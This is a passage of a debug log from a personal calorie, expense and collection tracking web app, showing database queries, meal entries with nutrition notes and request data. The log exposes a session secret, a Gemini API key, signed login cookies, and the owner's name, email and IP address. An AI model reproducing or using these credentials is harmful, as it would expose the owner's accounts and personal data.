    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:12:22.628Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:12:22.628Z server-connect:app Executing action step select
2025-12-16T10:12:22.628Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:12:22.629Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:12:22.629Z server-connect:app Executing action step setvalue
2025-12-16T10:12:22.629Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:12:22.629Z server-connect:output var_total: 1071
2025-12-16T10:12:22.629Z server-connect:app Executing action step setvalue
2025-12-16T10:12:22.629Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:12:22.629Z server-connect:output var_consumed: 45
2025-12-16T10:12:22.629Z server-connect:app Executing action step setvalue
2025-12-16T10:12:22.629Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:12:22.629Z server-connect:output var_deficit: 1329
2025-12-16T10:12:22.629Z server-connect:app Executing action step custom
2025-12-16T10:12:22.629Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:12:22.630Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
2025-12-16T10:13:31.864Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-16T10:13:34.129Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-16T10:13:34.994Z server-connect:setup:upload Upload middleware configured.
2025-12-16T10:13:34.994Z server-connect:secure CSRF Protection initialized
2025-12-16T10:13:35.000Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-16T10:13:35.001Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-16T10:13:35.001Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-16T10:13:35.002Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-16T10:13:35.008Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-16T10:13:35.012Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-16T10:13:35.022Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-16T10:13:35.035Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-16T10:13:35.039Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-16T10:13:35.045Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-16T10:13:35.054Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-16T10:13:35.056Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-16T10:13:35.059Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-16T10:13:35.059Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-16T10:13:35.064Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-16T10:13:35.064Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-16T10:13:35.067Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-16T10:13:35.072Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-16T10:13:35.078Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-16T10:13:35.080Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-16T10:13:35.086Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-16T10:13:35.093Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-16T10:13:35.093Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-16T10:13:35.100Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-16T10:13:35.101Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-16T10:13:35.107Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-16T10:13:35.107Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-16T10:13:35.110Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-16T10:13:35.115Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-16T10:13:35.118Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-16T10:13:35.118Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-16T10:13:35.668Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:13:35.671Z server-connect:app Executing action step identify
2025-12-16T10:13:35.671Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:35.673Z server-connect:output identity: 1
2025-12-16T10:13:35.673Z server-connect:app Executing action step restrict
2025-12-16T10:13:35.674Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:13:35.676Z server-connect:output restrict: undefined
2025-12-16T10:13:35.676Z server-connect:router Render template layouts/main
2025-12-16T10:13:35.677Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T10:13:38.214Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:13:38.216Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:13:38.217Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:13:38.217Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T10:13:38.218Z server-connect:app Executing action step identify
2025-12-16T10:13:38.218Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:38.218Z server-connect:output identity: 1
2025-12-16T10:13:38.218Z server-connect:app Executing action step restrict
2025-12-16T10:13:38.219Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:13:38.219Z server-connect:app Executing action step identify
2025-12-16T10:13:38.219Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:38.219Z server-connect:output identity: 1
2025-12-16T10:13:38.219Z server-connect:app Executing action step restrict
2025-12-16T10:13:38.219Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:13:38.220Z server-connect:app Executing action step identify
2025-12-16T10:13:38.220Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:38.220Z server-connect:output identity: 1
2025-12-16T10:13:38.220Z server-connect:app Executing action step restrict
2025-12-16T10:13:38.220Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:13:38.220Z server-connect:app Executing action step identify
2025-12-16T10:13:38.220Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:38.221Z server-connect:output identity: 1
2025-12-16T10:13:38.221Z server-connect:app Executing action step restrict
2025-12-16T10:13:38.221Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:38.221Z server-connect:output restrict: undefined
2025-12-16T10:13:38.222Z server-connect:app Executing action step single
2025-12-16T10:13:38.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T10:13:38.226Z server-connect:output restrict: undefined
2025-12-16T10:13:38.226Z server-connect:app Executing action step select
2025-12-16T10:13:38.227Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:13:38.228Z server-connect:output restrict: undefined
2025-12-16T10:13:38.228Z server-connect:app Executing action step single
2025-12-16T10:13:38.228Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:13:38.229Z server-connect:output restrict: undefined
2025-12-16T10:13:38.229Z server-connect:app Executing action step single
2025-12-16T10:13:38.229Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:13:38.230Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day showed a mixed approach to nutrition. While there were efforts towards healthier choices like green tea and milk tea without added sugar, the meals included significant carbohydrate sources and moderate fat, which could be more optimized for muscle development and fat loss. Meal timing appeared consistent with regular eating patterns.',
    bad_points: [
      "The carbohydrate content from idli and roti appears substantial for the day's meals.",
      'Protein intake seems to be on the lower side, which is important for muscle development.',
      'The inclusion of ketchup adds unnecessary sugars and processed elements.'
    ],
    good_points: [
      'Inclusion of green tea for hydration and potential metabolic support.',
      'Opting for milk tea without added sugar is a positive choice.',
      'Consistent meal patterns observed.'
    ],
    suggestions: [
      'Increase protein sources with each meal to better support muscle development and satiety.',
      'Incorporate more fiber-rich vegetables and lean protein alongside the rotis and sabzi.',
      'Consider reducing portions of refined carbohydrates like idli and roti, or opting for whole-grain alternatives.',
      'Ensure adequate hydration throughout the day, beyond just tea.'
    ],
    predicted_weight: 70.15,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T10:13:38.231Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:13:38.232Z server-connect:app Executing action step select
2025-12-16T10:13:38.232Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:13:38.233Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:13:38.237Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
